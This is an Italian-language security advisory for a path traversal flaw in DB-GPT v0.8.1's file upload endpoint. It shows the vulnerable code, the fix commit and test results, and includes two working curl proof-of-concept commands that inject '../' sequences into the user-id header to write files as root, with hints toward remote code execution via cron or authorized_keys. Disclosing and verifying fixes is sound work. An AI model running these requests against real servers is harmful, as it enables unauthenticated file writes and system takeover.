
CVE-2026-73034 — DB-GPT v0.8.1 path traversal non autenticato → scrittura arbitraria di file come root tramite header user-id. Verificato + diff della correzione
CVSS 9.8 (Critico) · CWE-22 · GHSA/Issue #3104
POST /api/v1/python/file/upload in DB-GPT v0.8.1 prende l'header HTTP user-id e lo usa grezzo come componente del percorso:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
Non è prevista alcuna autenticazione — se l'header è assente, l'app ricade su user_id="001" con role="admin". Iniettare sequenze ../ in user-id consente di fuoriuscire dalla directory degli upload e permette a un attaccante remoto non autenticato di scrivere file arbitrari ovunque il processo del container (root) possa scrivere → percorso diretto verso RCE (webroot .py, job cron, authorized_keys, …).
Versioni interessate: DB-GPT ≤ v0.8.1
Corretta: v0.8.2+ — commit e0c741bd2b5e521b128cffb3f68982dde3f7b359 (aggiunge una whitelist _SAFE_USER_ID_RE ^[A-Za-z0-9_\-]+$, controlli di contenimento della directory di upload e un ricontrollo dei symlink TOCTOU).
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
Nota: FastAPI mappa il parametro user_id sull'header HTTP user-id (trattino, non underscore).
| Test | Risultato |
|---|---|
Upload di controllo (user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
Exploit user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt SCRITTO (root) |
Exploit user-id: ../../../../root | ✅ /root/pwned_root.txt SCRITTO |
| Build corretta (e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |
Script completo: poc_cve-2026-73034.sh (esegue entrambi gli exploit + verifica all'interno del container + confronto con la build corretta).